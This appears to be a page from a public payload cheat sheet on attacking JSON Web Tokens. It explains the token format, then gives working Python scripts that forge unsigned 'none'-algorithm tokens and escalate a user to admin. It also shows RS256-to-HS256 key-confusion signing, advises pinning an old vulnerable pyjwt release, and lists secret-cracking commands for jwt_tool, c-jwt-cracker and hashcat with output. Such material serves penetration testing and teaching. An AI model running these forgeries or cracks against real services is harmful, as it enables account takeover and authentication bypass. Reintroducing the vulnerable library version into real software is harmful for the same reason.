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swisskyrepo 88d5af0b19 JWT - Payload detail

2019-02-11 14:04:38 +01:00

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JWT - JSON Web Token

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

Summary

JWT Format
JWT Signature - None algorithm
JWT Signature - RS256 to HS256
Breaking JWT's secret

JWT Format

JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)

Example : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

Where we can split it into 3 components separated by a dot.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature

Header

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

{
    "typ": "JWT",
    "alg": "HS256"
}

Payload

{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}

Claims are the predefined keys and their values:

iss: issuer of the token
exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
iat: The time the JWT was issued. Can be used to determine the age of the JWT
nbf: "not before" is a future time when the token will become active.
jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
sub: subject of the token (rarely used)
aud: audience of the token (also rarely used)

JWT Encoder – Decoder: http://jsonwebtoken.io

JWT Signature - None algorithm

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.

However, this won't work unless you remove the signature

The following code is a basic test for a None algorithm.

import jwt
import base64

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

Alternatively you can modify an existing JWT (be careful with the expiration time)

#!/usr/bin/python
# -*- coding: utf-8 -*-

jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ"
header, payload, signature  = jwt.split('.')

# Replacing the ALGO and the payload username
header  = header.decode('base64').replace('HS256',"none")
payload = (payload+"==").decode('base64').replace('test','admin')

header  = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")

# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")

JWT Signature - RS256 to HS256

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

Note: This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.. You need to install the following version

pip install pyjwt==0.4.3.

Breaking JWT's secret

Encode/Decode JWT with the secret.

import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'

encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key

# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}

JWT tool

git clone https://github.com/ticarpi/jwt_tool
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw /usr/share/wordlists/rockyou.txt

JWT cracker

git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"

Hashcat

Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret

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